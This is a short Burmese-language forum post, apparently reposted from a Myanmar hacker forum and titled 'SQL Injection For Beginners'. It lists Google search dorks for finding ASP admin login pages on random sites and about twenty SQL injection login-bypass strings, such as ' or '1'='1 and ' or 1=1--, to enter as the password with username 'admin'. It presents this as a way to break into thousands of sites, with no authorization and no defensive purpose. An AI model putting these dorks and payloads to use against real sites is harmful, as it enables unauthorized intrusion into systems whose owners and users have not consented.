SQL Injection For Beginners

google မွာ ေအာက္က list ေလးေတြထဲက ၾကိဳက္တဲ႔ တစ္ခုကို ထည္႔ရွာ Enter ေခါက္ခ်လိုက္ပါ...

“inurl:admin.asp”
“inurl:login/administrator.asp”
“inurl:administrator_login.asp”
“inurl:administratorlogin.asp”
“inurl:login/admin.asp”
“inurl:admin/login.asp”
“inurl:adminlogin.asp”
“inurl:adminhome.asp”
“inurl:admin_login.asp”

ထြက္လာတဲ႔ result ေတြထဲက ၾကိဳက္တဲ႔ site တစ္ခုကို click လိုက္ပါ....ကၽြန္ေတာ္တို႔ဟာ username ကို အျမဲတမ္း admin လို႔သာ ေပးပါမယ္...password ကေတာ႔ ေအာက္ကထဲက  ၾကိဳက္ရာ တစ္ခုနဲ႔ ထည္႔လုိက္ပါ...

‘ or ’1′=’1
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘x’='x
‘ or 0=0 –
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –

‘or’1=1′

ျပီးရင္ submit ကို ႏွိပ္လိုက္ပါ...

တစ္ခုရွိတာက site တိုင္းဟာ vulnerable မျဖစ္ပါဘူး...site တိုင္းမရႏိူင္ပါဘူး...ဒါေပမယ္႔ ဒီေလာက္နဲ႔တင္ site ေပါင္းေထာင္ခ်ီ ေတြ႔ႏိူင္ပါတယ္...

Read more: http://myanmarhackersuniversity.wall.fm/forum/topic/242?page=1#post-757#ixzz1cqbjDqrG

source from MHU